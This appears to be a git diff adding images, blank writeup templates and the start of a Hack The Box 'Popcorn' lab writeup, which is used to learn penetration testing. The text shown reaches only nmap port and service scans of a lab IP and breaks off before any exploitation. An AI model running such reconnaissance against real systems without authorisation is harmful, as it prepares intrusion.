--git a/Hard/prg/3/005.png b/Hard/prg/3/005.png new file mode 100644 index 0000000..73cff6c Binary files /dev/null and b/Hard/prg/3/005.png differ diff --git a/Hard/prg/3/006.png b/Hard/prg/3/006.png new file mode 100644 index 0000000..f034dcb Binary files /dev/null and b/Hard/prg/3/006.png differ diff --git a/Hard/prg/3/007.png b/Hard/prg/3/007.png new file mode 100644 index 0000000..e11aba1 Binary files /dev/null and b/Hard/prg/3/007.png differ diff --git a/Hard/prg/3/008.png b/Hard/prg/3/008.png new file mode 100644 index 0000000..7459660 Binary files /dev/null and b/Hard/prg/3/008.png differ diff --git a/Hard/prg/3/009.png b/Hard/prg/3/009.png new file mode 100644 index 0000000..394690e Binary files /dev/null and b/Hard/prg/3/009.png differ diff --git a/Hard/prg/3/010.png b/Hard/prg/3/010.png new file mode 100644 index 0000000..cf77d2b Binary files /dev/null and b/Hard/prg/3/010.png differ diff --git a/Hard/prg/3/011.png b/Hard/prg/3/011.png new file mode 100644 index 0000000..f3fe46e Binary files /dev/null and b/Hard/prg/3/011.png differ diff --git a/Hard/prg/3/012.png b/Hard/prg/3/012.png new file mode 100644 index 0000000..2eeb895 Binary files /dev/null and b/Hard/prg/3/012.png differ diff --git a/Hard/prg/3/013.png b/Hard/prg/3/013.png new file mode 100644 index 0000000..fcb50ec Binary files /dev/null and b/Hard/prg/3/013.png differ diff --git a/Hard/prg/3/014.png b/Hard/prg/3/014.png new file mode 100644 index 0000000..0a35b91 Binary files /dev/null and b/Hard/prg/3/014.png differ diff --git a/Hard/prg/3/015.png b/Hard/prg/3/015.png new file mode 100644 index 0000000..7313575 Binary files /dev/null and b/Hard/prg/3/015.png differ diff --git a/Hard/prg/3/016.png b/Hard/prg/3/016.png new file mode 100644 index 0000000..c5896f9 Binary files /dev/null and b/Hard/prg/3/016.png differ diff --git a/Hard/prg/3/017.png b/Hard/prg/3/017.png new file mode 100644 index 0000000..b54db48 Binary files /dev/null and b/Hard/prg/3/017.png differ diff --git a/Hard/prg/3/018.png b/Hard/prg/3/018.png new file mode 100644 index 0000000..323b06e Binary files /dev/null and b/Hard/prg/3/018.png differ diff --git a/Hard/prg/3/019.png b/Hard/prg/3/019.png new file mode 100644 index 0000000..2d1ce54 Binary files /dev/null and b/Hard/prg/3/019.png differ diff --git a/Hard/prg/3/020.png b/Hard/prg/3/020.png new file mode 100644 index 0000000..0da41a6 Binary files /dev/null and b/Hard/prg/3/020.png differ diff --git a/Hard/prg/3/021.png b/Hard/prg/3/021.png new file mode 100644 index 0000000..8849c73 Binary files /dev/null and b/Hard/prg/3/021.png differ diff --git a/Hard/prg/3/022.png b/Hard/prg/3/022.png new file mode 100644 index 0000000..671640b Binary files /dev/null and b/Hard/prg/3/022.png differ diff --git a/Hard/prg/3/023.png b/Hard/prg/3/023.png new file mode 100644 index 0000000..788c0f9 Binary files /dev/null and b/Hard/prg/3/023.png differ diff --git a/Hard/prg/3/024.png b/Hard/prg/3/024.png new file mode 100644 index 0000000..2be0e0f Binary files /dev/null and b/Hard/prg/3/024.png differ diff --git a/Hard/prg/3/025.png b/Hard/prg/3/025.png new file mode 100644 index 0000000..96761f5 Binary files /dev/null and b/Hard/prg/3/025.png differ diff --git a/Hard/prg/3/026.png b/Hard/prg/3/026.png new file mode 100644 index 0000000..da9d4be Binary files /dev/null and b/Hard/prg/3/026.png differ diff --git a/Hard/prg/3/027.png b/Hard/prg/3/027.png new file mode 100644 index 0000000..6babb52 Binary files /dev/null and b/Hard/prg/3/027.png differ diff --git a/Hard/prg/3/028.png b/Hard/prg/3/028.png new file mode 100644 index 0000000..3a694db Binary files /dev/null and b/Hard/prg/3/028.png differ diff --git a/Hard/prg/3/029.png b/Hard/prg/3/029.png new file mode 100644 index 0000000..98ca01c Binary files /dev/null and b/Hard/prg/3/029.png differ diff --git a/Hard/prg/3/030.png b/Hard/prg/3/030.png new file mode 100644 index 0000000..650fcab Binary files /dev/null and b/Hard/prg/3/030.png differ diff --git a/Hard/prg/3/031.png b/Hard/prg/3/031.png new file mode 100644 index 0000000..9795bdf Binary files /dev/null and b/Hard/prg/3/031.png differ diff --git a/Hard/prg/3/032.png b/Hard/prg/3/032.png new file mode 100644 index 0000000..e25c2f2 Binary files /dev/null and b/Hard/prg/3/032.png differ diff --git a/Hard/prg/3/033.png b/Hard/prg/3/033.png new file mode 100644 index 0000000..d70b05b Binary files /dev/null and b/Hard/prg/3/033.png differ diff --git a/Hard/prg/3/034.png b/Hard/prg/3/034.png new file mode 100644 index 0000000..c977f0a Binary files /dev/null and b/Hard/prg/3/034.png differ diff --git a/Hard/prg/3/035.png b/Hard/prg/3/035.png new file mode 100644 index 0000000..43ad21b Binary files /dev/null and b/Hard/prg/3/035.png differ diff --git a/Hard/prg/4/001.png b/Hard/prg/4/001.png new file mode 100644 index 0000000..5af7ff3 Binary files /dev/null and b/Hard/prg/4/001.png differ diff --git a/Hard/prg/4/002.png b/Hard/prg/4/002.png new file mode 100644 index 0000000..26837f2 Binary files /dev/null and b/Hard/prg/4/002.png differ diff --git a/Hard/prg/4/003.png b/Hard/prg/4/003.png new file mode 100644 index 0000000..8fa7aa6 Binary files /dev/null and b/Hard/prg/4/003.png differ diff --git a/Hard/prg/4/004.png b/Hard/prg/4/004.png new file mode 100644 index 0000000..ef14d1f Binary files /dev/null and b/Hard/prg/4/004.png differ diff --git a/Hard/prg/4/005.png b/Hard/prg/4/005.png new file mode 100644 index 0000000..f660590 Binary files /dev/null and b/Hard/prg/4/005.png differ diff --git a/Hard/prg/4/006.png b/Hard/prg/4/006.png new file mode 100644 index 0000000..6d475cf Binary files /dev/null and b/Hard/prg/4/006.png differ diff --git a/Hard/prg/4/007.png b/Hard/prg/4/007.png new file mode 100644 index 0000000..1115399 Binary files /dev/null and b/Hard/prg/4/007.png differ diff --git a/Hard/prg/4/008.png b/Hard/prg/4/008.png new file mode 100644 index 0000000..68900ba Binary files /dev/null and b/Hard/prg/4/008.png differ diff --git a/Hard/prg/4/009.png b/Hard/prg/4/009.png new file mode 100644 index 0000000..15ed13b Binary files /dev/null and b/Hard/prg/4/009.png differ diff --git a/Hard/prg/4/010.png b/Hard/prg/4/010.png new file mode 100644 index 0000000..7cb0690 Binary files /dev/null and b/Hard/prg/4/010.png differ diff --git a/Hard/prg/4/011.png b/Hard/prg/4/011.png new file mode 100644 index 0000000..469a18c Binary files /dev/null and b/Hard/prg/4/011.png differ diff --git a/Hard/prg/4/012.png b/Hard/prg/4/012.png new file mode 100644 index 0000000..7db3d4e Binary files /dev/null and b/Hard/prg/4/012.png differ diff --git a/Hard/prg/4/013.png b/Hard/prg/4/013.png new file mode 100644 index 0000000..bb14f43 Binary files /dev/null and b/Hard/prg/4/013.png differ diff --git a/Hard/prg/4/014.png b/Hard/prg/4/014.png new file mode 100644 index 0000000..c2faa96 Binary files /dev/null and b/Hard/prg/4/014.png differ diff --git a/Hard/prg/4/015.png b/Hard/prg/4/015.png new file mode 100644 index 0000000..28732f1 Binary files /dev/null and b/Hard/prg/4/015.png differ diff --git a/Hard/prg/4/016.png b/Hard/prg/4/016.png new file mode 100644 index 0000000..1997923 Binary files /dev/null and b/Hard/prg/4/016.png differ diff --git a/Hard/prg/5/1.png b/Hard/prg/5/1.png new file mode 100644 index 0000000..20ea1da Binary files /dev/null and b/Hard/prg/5/1.png differ diff --git a/Hard/prg/5/2.png b/Hard/prg/5/2.png new file mode 100644 index 0000000..f01832c Binary files /dev/null and b/Hard/prg/5/2.png differ diff --git a/Hard/prg/5/3.png b/Hard/prg/5/3.png new file mode 100644 index 0000000..2e2544a Binary files /dev/null and b/Hard/prg/5/3.png differ diff --git a/Hard/prg/5/4.png b/Hard/prg/5/4.png new file mode 100644 index 0000000..a56aeba Binary files /dev/null and b/Hard/prg/5/4.png differ diff --git a/Hard/prg/5/5.png b/Hard/prg/5/5.png new file mode 100644 index 0000000..ad6e8cb Binary files /dev/null and b/Hard/prg/5/5.png differ diff --git a/Hard/prg/5/6.png b/Hard/prg/5/6.png new file mode 100644 index 0000000..024afed Binary files /dev/null and b/Hard/prg/5/6.png differ diff --git a/Hard/prg/5/7.png b/Hard/prg/5/7.png new file mode 100644 index 0000000..e559646 Binary files /dev/null and b/Hard/prg/5/7.png differ diff --git a/Hard/prg/5/8.png b/Hard/prg/5/8.png new file mode 100644 index 0000000..2dc876c Binary files /dev/null and b/Hard/prg/5/8.png differ diff --git a/Hard/prg/5/9.png b/Hard/prg/5/9.png new file mode 100644 index 0000000..9154f71 Binary files /dev/null and b/Hard/prg/5/9.png differ diff --git a/Hard/prg/6/1.png b/Hard/prg/6/1.png new file mode 100644 index 0000000..a8416f3 Binary files /dev/null and b/Hard/prg/6/1.png differ diff --git a/Hard/prg/6/10.png b/Hard/prg/6/10.png new file mode 100644 index 0000000..d545995 Binary files /dev/null and b/Hard/prg/6/10.png differ diff --git a/Hard/prg/6/2.png b/Hard/prg/6/2.png new file mode 100644 index 0000000..cb451d6 Binary files /dev/null and b/Hard/prg/6/2.png differ diff --git a/Hard/prg/6/3.png b/Hard/prg/6/3.png new file mode 100644 index 0000000..0bab903 Binary files /dev/null and b/Hard/prg/6/3.png differ diff --git a/Hard/prg/6/4.png b/Hard/prg/6/4.png new file mode 100644 index 0000000..f93c84d Binary files /dev/null and b/Hard/prg/6/4.png differ diff --git a/Hard/prg/6/5.png b/Hard/prg/6/5.png new file mode 100644 index 0000000..e24b8cb Binary files /dev/null and b/Hard/prg/6/5.png differ diff --git a/Hard/prg/6/6.png b/Hard/prg/6/6.png new file mode 100644 index 0000000..763e711 Binary files /dev/null and b/Hard/prg/6/6.png differ diff --git a/Hard/prg/6/7.png b/Hard/prg/6/7.png new file mode 100644 index 0000000..6cbc4e8 Binary files /dev/null and b/Hard/prg/6/7.png differ diff --git a/Hard/prg/6/8.png b/Hard/prg/6/8.png new file mode 100644 index 0000000..876b911 Binary files /dev/null and b/Hard/prg/6/8.png differ diff --git a/Hard/prg/6/9.png b/Hard/prg/6/9.png new file mode 100644 index 0000000..cf79175 Binary files /dev/null and b/Hard/prg/6/9.png differ diff --git a/Hard/prg/7/1.png b/Hard/prg/7/1.png new file mode 100644 index 0000000..b2f2632 Binary files /dev/null and b/Hard/prg/7/1.png differ diff --git a/Hard/prg/7/10.png b/Hard/prg/7/10.png new file mode 100644 index 0000000..4d98041 Binary files /dev/null and b/Hard/prg/7/10.png differ diff --git a/Hard/prg/7/11.png b/Hard/prg/7/11.png new file mode 100644 index 0000000..234b0e4 Binary files /dev/null and b/Hard/prg/7/11.png differ diff --git a/Hard/prg/7/12.png b/Hard/prg/7/12.png new file mode 100644 index 0000000..c672a9b Binary files /dev/null and b/Hard/prg/7/12.png differ diff --git a/Hard/prg/7/13.png b/Hard/prg/7/13.png new file mode 100644 index 0000000..ac3e7ef Binary files /dev/null and b/Hard/prg/7/13.png differ diff --git a/Hard/prg/7/14.png b/Hard/prg/7/14.png new file mode 100644 index 0000000..aa78838 Binary files /dev/null and b/Hard/prg/7/14.png differ diff --git a/Hard/prg/7/15.png b/Hard/prg/7/15.png new file mode 100644 index 0000000..4aa0e78 Binary files /dev/null and b/Hard/prg/7/15.png differ diff --git a/Hard/prg/7/16.png b/Hard/prg/7/16.png new file mode 100644 index 0000000..c7834c9 Binary files /dev/null and b/Hard/prg/7/16.png differ diff --git a/Hard/prg/7/162.png b/Hard/prg/7/162.png new file mode 100644 index 0000000..af17c8c Binary files /dev/null and b/Hard/prg/7/162.png differ diff --git a/Hard/prg/7/17.png b/Hard/prg/7/17.png new file mode 100644 index 0000000..1f1e4c4 Binary files /dev/null and b/Hard/prg/7/17.png differ diff --git a/Hard/prg/7/18.png b/Hard/prg/7/18.png new file mode 100644 index 0000000..2fea500 Binary files /dev/null and b/Hard/prg/7/18.png differ diff --git a/Hard/prg/7/19.png b/Hard/prg/7/19.png new file mode 100644 index 0000000..5d65317 Binary files /dev/null and b/Hard/prg/7/19.png differ diff --git a/Hard/prg/7/2.png b/Hard/prg/7/2.png new file mode 100644 index 0000000..e541ea6 Binary files /dev/null and b/Hard/prg/7/2.png differ diff --git a/Hard/prg/7/3.png b/Hard/prg/7/3.png new file mode 100644 index 0000000..9f272ab Binary files /dev/null and b/Hard/prg/7/3.png differ diff --git a/Hard/prg/7/4.png b/Hard/prg/7/4.png new file mode 100644 index 0000000..b70162f Binary files /dev/null and b/Hard/prg/7/4.png differ diff --git a/Hard/prg/7/5.png b/Hard/prg/7/5.png new file mode 100644 index 0000000..729af2f Binary files /dev/null and b/Hard/prg/7/5.png differ diff --git a/Hard/prg/7/6.png b/Hard/prg/7/6.png new file mode 100644 index 0000000..42ec547 Binary files /dev/null and b/Hard/prg/7/6.png differ diff --git a/Hard/prg/7/7.png b/Hard/prg/7/7.png new file mode 100644 index 0000000..b381f50 Binary files /dev/null and b/Hard/prg/7/7.png differ diff --git a/Hard/prg/7/8.png b/Hard/prg/7/8.png new file mode 100644 index 0000000..a283ea1 Binary files /dev/null and b/Hard/prg/7/8.png differ diff --git a/Hard/prg/7/9.png b/Hard/prg/7/9.png new file mode 100644 index 0000000..67fdcf0 Binary files /dev/null and b/Hard/prg/7/9.png differ diff --git a/Hard/prg/8/1.png b/Hard/prg/8/1.png new file mode 100644 index 0000000..b0038f8 Binary files /dev/null and b/Hard/prg/8/1.png differ diff --git a/Hard/prg/8/10.png b/Hard/prg/8/10.png new file mode 100644 index 0000000..391775d Binary files /dev/null and b/Hard/prg/8/10.png differ diff --git a/Hard/prg/8/11.png b/Hard/prg/8/11.png new file mode 100644 index 0000000..a5fbaf7 Binary files /dev/null and b/Hard/prg/8/11.png differ diff --git a/Hard/prg/8/12.png b/Hard/prg/8/12.png new file mode 100644 index 0000000..22f5f23 Binary files /dev/null and b/Hard/prg/8/12.png differ diff --git a/Hard/prg/8/13.png b/Hard/prg/8/13.png new file mode 100644 index 0000000..b7519d4 Binary files /dev/null and b/Hard/prg/8/13.png differ diff --git a/Hard/prg/8/14.png b/Hard/prg/8/14.png new file mode 100644 index 0000000..f7b5ab5 Binary files /dev/null and b/Hard/prg/8/14.png differ diff --git a/Hard/prg/8/15.png b/Hard/prg/8/15.png new file mode 100644 index 0000000..ebd509e Binary files /dev/null and b/Hard/prg/8/15.png differ diff --git a/Hard/prg/8/16.png b/Hard/prg/8/16.png new file mode 100644 index 0000000..8fb122d Binary files /dev/null and b/Hard/prg/8/16.png differ diff --git a/Hard/prg/8/17.png b/Hard/prg/8/17.png new file mode 100644 index 0000000..f326907 Binary files /dev/null and b/Hard/prg/8/17.png differ diff --git a/Hard/prg/8/18.png b/Hard/prg/8/18.png new file mode 100644 index 0000000..b8fb85c Binary files /dev/null and b/Hard/prg/8/18.png differ diff --git a/Hard/prg/8/19.png b/Hard/prg/8/19.png new file mode 100644 index 0000000..f6da982 Binary files /dev/null and b/Hard/prg/8/19.png differ diff --git a/Hard/prg/8/2.png b/Hard/prg/8/2.png new file mode 100644 index 0000000..b3cc67c Binary files /dev/null and b/Hard/prg/8/2.png differ diff --git a/Hard/prg/8/20.png b/Hard/prg/8/20.png new file mode 100644 index 0000000..9778e7f Binary files /dev/null and b/Hard/prg/8/20.png differ diff --git a/Hard/prg/8/21.png b/Hard/prg/8/21.png new file mode 100644 index 0000000..0650731 Binary files /dev/null and b/Hard/prg/8/21.png differ diff --git a/Hard/prg/8/22.png b/Hard/prg/8/22.png new file mode 100644 index 0000000..811abd5 Binary files /dev/null and b/Hard/prg/8/22.png differ diff --git a/Hard/prg/8/23.png b/Hard/prg/8/23.png new file mode 100644 index 0000000..c067b21 Binary files /dev/null and b/Hard/prg/8/23.png differ diff --git a/Hard/prg/8/24.png b/Hard/prg/8/24.png new file mode 100644 index 0000000..fdae390 Binary files /dev/null and b/Hard/prg/8/24.png differ diff --git a/Hard/prg/8/25.png b/Hard/prg/8/25.png new file mode 100644 index 0000000..cefba05 Binary files /dev/null and b/Hard/prg/8/25.png differ diff --git a/Hard/prg/8/26.png b/Hard/prg/8/26.png new file mode 100644 index 0000000..a527a28 Binary files /dev/null and b/Hard/prg/8/26.png differ diff --git a/Hard/prg/8/27.png b/Hard/prg/8/27.png new file mode 100644 index 0000000..0fa0061 Binary files /dev/null and b/Hard/prg/8/27.png differ diff --git a/Hard/prg/8/28.png b/Hard/prg/8/28.png new file mode 100644 index 0000000..b2c738e Binary files /dev/null and b/Hard/prg/8/28.png differ diff --git a/Hard/prg/8/29.png b/Hard/prg/8/29.png new file mode 100644 index 0000000..9ef713e Binary files /dev/null and b/Hard/prg/8/29.png differ diff --git a/Hard/prg/8/3.png b/Hard/prg/8/3.png new file mode 100644 index 0000000..5880c83 Binary files /dev/null and b/Hard/prg/8/3.png differ diff --git a/Hard/prg/8/30.png b/Hard/prg/8/30.png new file mode 100644 index 0000000..895ee50 Binary files /dev/null and b/Hard/prg/8/30.png differ diff --git a/Hard/prg/8/31.png b/Hard/prg/8/31.png new file mode 100644 index 0000000..3a14f2e Binary files /dev/null and b/Hard/prg/8/31.png differ diff --git a/Hard/prg/8/32.png b/Hard/prg/8/32.png new file mode 100644 index 0000000..5d5dc4f Binary files /dev/null and b/Hard/prg/8/32.png differ diff --git a/Hard/prg/8/33.png b/Hard/prg/8/33.png new file mode 100644 index 0000000..3245503 Binary files /dev/null and b/Hard/prg/8/33.png differ diff --git a/Hard/prg/8/34.png b/Hard/prg/8/34.png new file mode 100644 index 0000000..d9bc9e7 Binary files /dev/null and b/Hard/prg/8/34.png differ diff --git a/Hard/prg/8/35.png b/Hard/prg/8/35.png new file mode 100644 index 0000000..fa72602 Binary files /dev/null and b/Hard/prg/8/35.png differ diff --git a/Hard/prg/8/36.png b/Hard/prg/8/36.png new file mode 100644 index 0000000..0cd51ac Binary files /dev/null and b/Hard/prg/8/36.png differ diff --git a/Hard/prg/8/4.png b/Hard/prg/8/4.png new file mode 100644 index 0000000..9ab1922 Binary files /dev/null and b/Hard/prg/8/4.png differ diff --git a/Hard/prg/8/5.png b/Hard/prg/8/5.png new file mode 100644 index 0000000..4ae0e87 Binary files /dev/null and b/Hard/prg/8/5.png differ diff --git a/Hard/prg/8/6.png b/Hard/prg/8/6.png new file mode 100644 index 0000000..0884291 Binary files /dev/null and b/Hard/prg/8/6.png differ diff --git a/Hard/prg/8/7.png b/Hard/prg/8/7.png new file mode 100644 index 0000000..fe92557 Binary files /dev/null and b/Hard/prg/8/7.png differ diff --git a/Hard/prg/8/8.png b/Hard/prg/8/8.png new file mode 100644 index 0000000..ebb4db8 Binary files /dev/null and b/Hard/prg/8/8.png differ diff --git a/Hard/prg/8/9.png b/Hard/prg/8/9.png new file mode 100644 index 0000000..809854e Binary files /dev/null and b/Hard/prg/8/9.png differ diff --git a/Hard/prg/9/1.png b/Hard/prg/9/1.png new file mode 100644 index 0000000..412e912 Binary files /dev/null and b/Hard/prg/9/1.png differ diff --git a/Hard/prg/9/10.png b/Hard/prg/9/10.png new file mode 100644 index 0000000..f2d6fa2 Binary files /dev/null and b/Hard/prg/9/10.png differ diff --git a/Hard/prg/9/11.png b/Hard/prg/9/11.png new file mode 100644 index 0000000..24f82db Binary files /dev/null and b/Hard/prg/9/11.png differ diff --git a/Hard/prg/9/12.png b/Hard/prg/9/12.png new file mode 100644 index 0000000..e57c752 Binary files /dev/null and b/Hard/prg/9/12.png differ diff --git a/Hard/prg/9/13.png b/Hard/prg/9/13.png new file mode 100644 index 0000000..ec92596 Binary files /dev/null and b/Hard/prg/9/13.png differ diff --git a/Hard/prg/9/14.png b/Hard/prg/9/14.png new file mode 100644 index 0000000..61a4d1a Binary files /dev/null and b/Hard/prg/9/14.png differ diff --git a/Hard/prg/9/15.png b/Hard/prg/9/15.png new file mode 100644 index 0000000..7d7ac1f Binary files /dev/null and b/Hard/prg/9/15.png differ diff --git a/Hard/prg/9/16.png b/Hard/prg/9/16.png new file mode 100644 index 0000000..aedc906 Binary files /dev/null and b/Hard/prg/9/16.png differ diff --git a/Hard/prg/9/17.png b/Hard/prg/9/17.png new file mode 100644 index 0000000..0c41437 Binary files /dev/null and b/Hard/prg/9/17.png differ diff --git a/Hard/prg/9/18.png b/Hard/prg/9/18.png new file mode 100644 index 0000000..8cac2da Binary files /dev/null and b/Hard/prg/9/18.png differ diff --git a/Hard/prg/9/19.png b/Hard/prg/9/19.png new file mode 100644 index 0000000..c19fdb0 Binary files /dev/null and b/Hard/prg/9/19.png differ diff --git a/Hard/prg/9/2.png b/Hard/prg/9/2.png new file mode 100644 index 0000000..f13ceb9 Binary files /dev/null and b/Hard/prg/9/2.png differ diff --git a/Hard/prg/9/20.png b/Hard/prg/9/20.png new file mode 100644 index 0000000..283795e Binary files /dev/null and b/Hard/prg/9/20.png differ diff --git a/Hard/prg/9/21.png b/Hard/prg/9/21.png new file mode 100644 index 0000000..18a5741 Binary files /dev/null and b/Hard/prg/9/21.png differ diff --git a/Hard/prg/9/22.png b/Hard/prg/9/22.png new file mode 100644 index 0000000..55a6cf6 Binary files /dev/null and b/Hard/prg/9/22.png differ diff --git a/Hard/prg/9/23.png b/Hard/prg/9/23.png new file mode 100644 index 0000000..161824d Binary files /dev/null and b/Hard/prg/9/23.png differ diff --git a/Hard/prg/9/24.png b/Hard/prg/9/24.png new file mode 100644 index 0000000..e6702db Binary files /dev/null and b/Hard/prg/9/24.png differ diff --git a/Hard/prg/9/25.png b/Hard/prg/9/25.png new file mode 100644 index 0000000..c6f8e2b Binary files /dev/null and b/Hard/prg/9/25.png differ diff --git a/Hard/prg/9/26.png b/Hard/prg/9/26.png new file mode 100644 index 0000000..90693fc Binary files /dev/null and b/Hard/prg/9/26.png differ diff --git a/Hard/prg/9/27.png b/Hard/prg/9/27.png new file mode 100644 index 0000000..3b6fff0 Binary files /dev/null and b/Hard/prg/9/27.png differ diff --git a/Hard/prg/9/28.png b/Hard/prg/9/28.png new file mode 100644 index 0000000..deb8aa6 Binary files /dev/null and b/Hard/prg/9/28.png differ diff --git a/Hard/prg/9/29.png b/Hard/prg/9/29.png new file mode 100644 index 0000000..75a3eb2 Binary files /dev/null and b/Hard/prg/9/29.png differ diff --git a/Hard/prg/9/3.png b/Hard/prg/9/3.png new file mode 100644 index 0000000..b0edf69 Binary files /dev/null and b/Hard/prg/9/3.png differ diff --git a/Hard/prg/9/30.png b/Hard/prg/9/30.png new file mode 100644 index 0000000..7f86c0a Binary files /dev/null and b/Hard/prg/9/30.png differ diff --git a/Hard/prg/9/31.png b/Hard/prg/9/31.png new file mode 100644 index 0000000..c8b6094 Binary files /dev/null and b/Hard/prg/9/31.png differ diff --git a/Hard/prg/9/32.png b/Hard/prg/9/32.png new file mode 100644 index 0000000..2a8537d Binary files /dev/null and b/Hard/prg/9/32.png differ diff --git a/Hard/prg/9/33.png b/Hard/prg/9/33.png new file mode 100644 index 0000000..e967da7 Binary files /dev/null and b/Hard/prg/9/33.png differ diff --git a/Hard/prg/9/34.png b/Hard/prg/9/34.png new file mode 100644 index 0000000..c088d77 Binary files /dev/null and b/Hard/prg/9/34.png differ diff --git a/Hard/prg/9/35.png b/Hard/prg/9/35.png new file mode 100644 index 0000000..caea933 Binary files /dev/null and b/Hard/prg/9/35.png differ diff --git a/Hard/prg/9/36.png b/Hard/prg/9/36.png new file mode 100644 index 0000000..862c707 Binary files /dev/null and b/Hard/prg/9/36.png differ diff --git a/Hard/prg/9/37.png b/Hard/prg/9/37.png new file mode 100644 index 0000000..d9e52ec Binary files /dev/null and b/Hard/prg/9/37.png differ diff --git a/Hard/prg/9/38.png b/Hard/prg/9/38.png new file mode 100644 index 0000000..59f04d1 Binary files /dev/null and b/Hard/prg/9/38.png differ diff --git a/Hard/prg/9/39.png b/Hard/prg/9/39.png new file mode 100644 index 0000000..e1c974e Binary files /dev/null and b/Hard/prg/9/39.png differ diff --git a/Hard/prg/9/4.png b/Hard/prg/9/4.png new file mode 100644 index 0000000..1507cdb Binary files /dev/null and b/Hard/prg/9/4.png differ diff --git a/Hard/prg/9/40.png b/Hard/prg/9/40.png new file mode 100644 index 0000000..9b9be48 Binary files /dev/null and b/Hard/prg/9/40.png differ diff --git a/Hard/prg/9/41.png b/Hard/prg/9/41.png new file mode 100644 index 0000000..13fc38d Binary files /dev/null and b/Hard/prg/9/41.png differ diff --git a/Hard/prg/9/42.png b/Hard/prg/9/42.png new file mode 100644 index 0000000..6f7e711 Binary files /dev/null and b/Hard/prg/9/42.png differ diff --git a/Hard/prg/9/43.png b/Hard/prg/9/43.png new file mode 100644 index 0000000..a9c44a0 Binary files /dev/null and b/Hard/prg/9/43.png differ diff --git a/Hard/prg/9/44.png b/Hard/prg/9/44.png new file mode 100644 index 0000000..3cb43ca Binary files /dev/null and b/Hard/prg/9/44.png differ diff --git a/Hard/prg/9/45.png b/Hard/prg/9/45.png new file mode 100644 index 0000000..e8b05c0 Binary files /dev/null and b/Hard/prg/9/45.png differ diff --git a/Hard/prg/9/46.png b/Hard/prg/9/46.png new file mode 100644 index 0000000..e24bc01 Binary files /dev/null and b/Hard/prg/9/46.png differ diff --git a/Hard/prg/9/5.png b/Hard/prg/9/5.png new file mode 100644 index 0000000..92d1811 Binary files /dev/null and b/Hard/prg/9/5.png differ diff --git a/Hard/prg/9/6.png b/Hard/prg/9/6.png new file mode 100644 index 0000000..be10f0d Binary files /dev/null and b/Hard/prg/9/6.png differ diff --git a/Hard/prg/9/7.png b/Hard/prg/9/7.png new file mode 100644 index 0000000..7efb68c Binary files /dev/null and b/Hard/prg/9/7.png differ diff --git a/Hard/prg/9/8.png b/Hard/prg/9/8.png new file mode 100644 index 0000000..254a555 Binary files /dev/null and b/Hard/prg/9/8.png differ diff --git a/Hard/prg/9/9.png b/Hard/prg/9/9.png new file mode 100644 index 0000000..cd4851b Binary files /dev/null and b/Hard/prg/9/9.png differ diff --git a/Hard/prg/9/linpeas.md b/Hard/prg/9/linpeas.md new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Hard/prg/9/linpeas.md @@ -0,0 +1 @@ + diff --git a/Insane/0.md b/Insane/0.md new file mode 100644 index 0000000..78996b5 --- /dev/null +++ b/Insane/0.md @@ -0,0 +1,38 @@ +# Writeup + +![](img/0.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 127.0.0.1 ] [~] + → nmap -F 127.0.0.1 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-19 22:08 GMT + Nmap scan report for localhost (127.0.0.1) + Host is up (0.00024s latency). + Not shown: 99 closed ports + PORT STATE SERVICE + 3306/tcp open mysql + + Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds + + + +## **Part 2 : Getting User Access** + +the text goes here + +## **Part 3 : Getting Root Access** + +the text goes here + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Insane/img/0.png b/Insane/img/0.png new file mode 100644 index 0000000..8bdf325 Binary files /dev/null and b/Insane/img/0.png differ diff --git a/Medium/0.md b/Medium/0.md new file mode 100644 index 0000000..78996b5 --- /dev/null +++ b/Medium/0.md @@ -0,0 +1,38 @@ +# Writeup + +![](img/0.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 127.0.0.1 ] [~] + → nmap -F 127.0.0.1 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-19 22:08 GMT + Nmap scan report for localhost (127.0.0.1) + Host is up (0.00024s latency). + Not shown: 99 closed ports + PORT STATE SERVICE + 3306/tcp open mysql + + Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds + + + +## **Part 2 : Getting User Access** + +the text goes here + +## **Part 3 : Getting Root Access** + +the text goes here + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Medium/1.md b/Medium/1.md new file mode 100644 index 0000000..b5a9f63 --- /dev/null +++ b/Medium/1.md @@ -0,0 +1,381 @@ +# Popcorn Writeup + +![](img/1.png) + +## Introduction : + +Popcorn is a Medium linux box released back in march 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → nmap -F 10.10.10.6 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-20 11:27 GMT + Nmap scan report for 10.10.10.6 + Host is up (0.097s latency). + Not shown: 98 closed ports + PORT STATE SERVICE + 22/tcp open ssh + 80/tcp open http + + Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → nmap -sCV 10.10.10.6 -p80,22 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-20 11:27 GMT + Nmap scan report for 10.10.10.6 + Host is up (0.10s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA) + |_ 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA) + 80/tcp open http Apache httpd 2.2.12 ((Ubuntu)) + |_http-server-header: Apache/2.2.12 (Ubuntu) + |_http-title: Site doesn't have a title (text/html). + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 10.64 seconds + + λ root [ 10.10.14.11/23 ] 